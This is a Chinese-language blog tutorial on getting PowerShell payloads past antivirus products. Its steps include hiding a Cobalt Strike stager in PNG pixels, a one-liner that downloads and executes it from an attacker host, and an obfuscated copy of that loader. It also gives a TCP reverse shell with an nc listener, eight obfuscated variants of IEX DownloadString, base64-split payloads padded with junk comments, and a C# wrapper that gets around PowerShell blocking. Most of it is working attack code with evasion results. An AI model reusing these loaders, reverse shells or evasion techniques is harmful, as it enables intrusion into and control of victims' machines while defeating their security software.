简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。powershell一直都是内网渗透的大热门,微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现,近年来利用powershell来搞内网渗透进行横向或免杀的热度一直居高不下.
powershell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能,PowerShell脚本的文本文件,其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境 的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。 PowerShell具有以下特点:
在Windows 7以上的操作系统中是默认安装的。
PowerShell脚本可以运行在内存中,不需要写入磁盘。
几乎不会触发杀毒软件。
可以远程执行。
目前很多工具都是基于PowerShell开发的。
使得Windows的脚本攻击变得更加容易。
cmd.exe通常会被阻止运行,但是PowerShell不会。
可以用来管理活动目录。
powershell的执行策略问题
1 | Unrestricted 权限最高,可以不受限制执行任意脚本 |
但是在实战中 去修改powershell的执行策略并不太实用,动作太大容易被杀软发现 现在360(win7测试下)也开始禁止调用powershell了...(win7测试下360会拦截powershel 但是在win10下就没.....)
Invoke-PSimage图片混淆powershell代码
参考 https://blog.csdn.net/Hungchuiho/article/details/121436429
https://github.com/peewpw/Invoke-PSImage
以 PNG 文件的像素对 PowerShell 脚本进行编码,并生成要执行的单行线 Invoke-PSImage 采用 PowerShell 脚本,并将脚本的字节编码为 PNG 图像的像素。它生成一个单行线,用于从 Web 的文件执行。 它可以仅使用有效负载数据创建新图像,也可以将有效负载嵌入到现有图像的最低有效字节中,使其看起来像实际图片。图像保存为 PNG,并且可以无损压缩,而不会影响执行有效负载的能力,因为数据存储在颜色本身中。创建新映像时,普通的 PowerShell 脚本实际上会显著压缩,通常会生成文件大小约为原始脚本的 50% 的 png。 使用嵌入方法时,每个像素中 2 个颜色值中最低有效 4 位用于保存有效负载。图像质量将因此受到影响,但它看起来仍然不错。它可以接受大多数图像类型作为输入,但输出将始终为PNG,因为它需要是无损的。图像的每个像素用于容纳一个字节的脚本,因此您需要一个像素至少与脚本中的字节数一样多的图像。这相当容易 - 例如,Invoke-Mimikatz适合1920x1200的图像。
先找一张高像素的123.jpg图片 方便后续写入shellcode

在CS中生成一个powershell的payload
在cmd下执行以下命令即可
1 | Powershell -ExecutionPolicy Bypass |

在import-module时 要关闭杀软 不然会出现拒绝

然后会在当前目录下生成 456.jpg

然后再powershell中会生成一段ps1代码 复制报存到shell.ps1
1 | sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/456.jpg"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534])) |
打开CS 使用文件下载模块去下载生成的456.jpg 点击"Launch"会生成一个url


http://10.10.10.114:80/456.jpg
然后将shell.ps1
url修改为CS生成的链接

改为ps1文件 shell.ps1
1 | sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://10.10.10.114:80/456.jpg"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534])) |
在本地火绒机器上运行便可成功上线...但是静态查杀shell.ps1会被杀掉,所以可以先进行powershell混淆


腾讯电脑管家查不出,也可以直接上线
Invoke Obfuscation混淆
powershell的免杀⽅法有很多,对代码进⾏编码是最常⻅的⼀种,这⾥介绍⼀个专⻔⽤来对powershell 进⾏编码免杀的框架Invoke Obfuscation,这也是著名的APT32组织海莲花常⽤的⼀个⼯具。 该工具可以对powershell代码进行 ASCII/hex/octal/binary甚至SecureString进行加密混淆
使用Invoke Obfuscation对powerhsell进行混淆 将shell.ps1放到该目录下
1 | Powershell -ExecutionPolicy Bypass |
shell2.ps1
1 | ${3`7j}= [typE]("{0}{1}" -F'mat','H') ; ${K8`ZR2J} = [tYPE]("{0}{2}{6}{4}{3}{5}{1}" -F 'Syste','nG','m.','N','t.e','coDI','TEX'); &("{1}{0}" -f'al','s') ('a') ("{0}{1}{2}"-f'New-O','bj','ect');.("{1}{2}{0}" -f 'pe','A','dd-Ty') -A ("{0}{3}{2}{1}" -f 'S','Drawing','em.','yst');${g}=&('a') ("{1}{3}{0}{2}{4}"-f'aw','Syst','ing.Bitma','em.Dr','p')((&('a') ("{3}{2}{1}{0}" -f 'nt','e','WebCli','Net.')).("{2}{0}{1}"-f 'penRea','d','O').Invoke(("{1}{7}{5}{3}{8}{4}{0}{2}{6}" -f'.','http://1','j','4:80','56','.10.10.11','pg','0','/4')));${O}=.('a') ("{0}{1}" -f'By','te[]') 5120;(0..1)|.('%'){foreach(${x} in(0..2559)){${p}=${g}.("{0}{2}{1}" -f 'Ge','Pixel','t').Invoke(${x},${_});${o}[${_}*2560+${x}]=( (ChIlDiTeM ("{0}{2}{3}{1}"-f 'VaRia','e:37J','b','L') )."vaL`Ue"::("{0}{1}"-f 'Fl','oor').Invoke((${P}."B"-band15)*16)-bor(${P}."g" -band 15))}};.("{0}{1}"-f'I','EX')( ( gci ('V'+'ar'+'Iab'+'LE:k8ZR'+'2J') )."VA`LUe"::"ASC`iI"."GEt`s`TRi`Ng"(${o}[0..3534])) |
静态查杀效果
混淆前

混淆后



也可以过360的静态查杀(但是现在360禁止调用powershell 所以...)
上传到VT上查看混淆后的效果
https://www.virustotal.com/gui/file/03e35a1c21bd99766c6f7729c59df32340b2f88ecf834236c143584fc2390d9e?nocache=1

动态查杀效果

火绒 腾讯管家都可以正常上线 不过360禁止调用powershell 没发成功利用...
Powershell socket免杀
1 | Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient("10.10.10.114", 53)); |
使用Invoke Obfuscation 混淆后
1 | Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient("10.10.10.114", 53)); |
在目标机器上运行
1 | Powershell -ExecutionPolicy Bypass |
在kali上进行监听 nc -lvvp 53

火绒不拦截
在win7虚拟机下 360不拦截

但是现在360已经拦截了powershell 只要开启360(在win7下会拦截,但是在win10测试时没拦截) 就无法去调用powershell
PS1源文件命令混淆(行为免杀)
尽管powershell代码自身免杀,但是在通过powershell远程下载或者执行shellcode时,很容易被杀软发现拦截
常用的powershell去执行命令
1 | powershell -NoExit "IEX(New-Object Net.WebClient).DownloadString.(''http://10.10.10.114/shell.ps1''))" |


杀软便会对齐进行拦截
通常情况下 可以通过替换函数进行bypass
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8000/1.txt")
powershell -NoExit "IEX(New-Object Net.WebClient).DownloadString.(''http://10.10.10.114/shell.ps1''))"

- 1.去掉System关键词
1 | Invoke-Expression (New-Object Net.WebClient).DownloadString("http://10.10.10.114:8000/1.txt") |
- 2.使用字符串连接+号连接
1 | Invoke-Expression (New-Object Net.WebClient).DownloadString('h'+'ttp://10.10.10.114:8000/1.txt') |
- 3.使用Invoke方法
1 | Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://10.10.10.114:8000/1.txt') |
- 4.变量替代
1 | $ds="Down"+"loadString"; |
- 5.关键词使用单双引号引起来
1 | Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://10.10.10.114/powershell') |
- 6.转义符号
1 | Invoke-Expression (New-Object Net.WebClient)."D o wn l oad Str in g"('h'+'ttp://10.10.10.114:8000/1.txt') |
- 7.字符串反转
1 | $re= ")'txt.1/0008:411.01.01.01//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN("; |
- 8.编码执行
1 | $command = "Invoke-Expression (New-Object Net.WebClient).DownloadString('h'+'ttp://10.10.10.114:8000/1.txt')" |

混淆之后不会被火绒拦截

混淆后腾讯管家也可以绕过
base64编码powershell+随机分段+垃圾注释
1 | Set-StrictMode -Version 2 |
这是cs生成原始的powershell payload
这里把 $Dolt @‘’@ 里面的内容进行base64 然后再使用一个变量去base64解码,再更改一下变量名 即可绕过火绒、360
1 | Set-StrictMode -Version 2 |


上传到VT

发现查杀率还是较高,然后可以差分一些上面的$AAA变量
接下来将$AAA变量就随便分成4部分 然后再拼接起来看看VT上的效果
1 | Set-StrictMode -Version 2 |
可以上线CS

在VT上没啥变化

在进行变换试试
这里不止可以使用base64 还可以去用 AES 异或 ASCII等方式进行加密 也可以添加一些垃圾注释进行干扰
1 | Set-StrictMode -Version 2 |

可以看到从15减到了5 添加垃圾注释还是有效果的 但是被amsi拦截了 无法绕过WinDef
https://mp.weixin.qq.com/s/znyLqniUX_WXRizGV6TQlA
这篇文章将ps的payload 随机分段 这样每次都不会相同 而杀软有时会记录特征 固定的几段可能会失效,而随机切片分段效果会好些
C#调用WINAPI
项目地址 https://github.com/INotGreen/nopowershell 感谢格林师傅提供的免杀文章
在VS中导入C:Files (x86)Assemblies\3.0 到项目中
通过调用windows的API去执行powershell命令 从而去绕过360对powershell的禁用
1 | using System; |
编译后 动态静态都可过360 腾讯 火绒 但是在运行后会出现一个黑框,需要改一下项目(修改项目的属性--> 输出类型 改为 Windows应用程序即可消除黑框)
这个也可以绕过WinDef
References
感谢格林大佬的提供的学习文章和项目 Orz !!!
https://github.com/INotGreen/nopowershell
https://blog.csdn.net/Hungchuiho/article/details/121436429
https://mamor5409.github.io/posts/359bf983/
https://mp.weixin.qq.com/s/znyLqniUX_WXRizGV6TQlA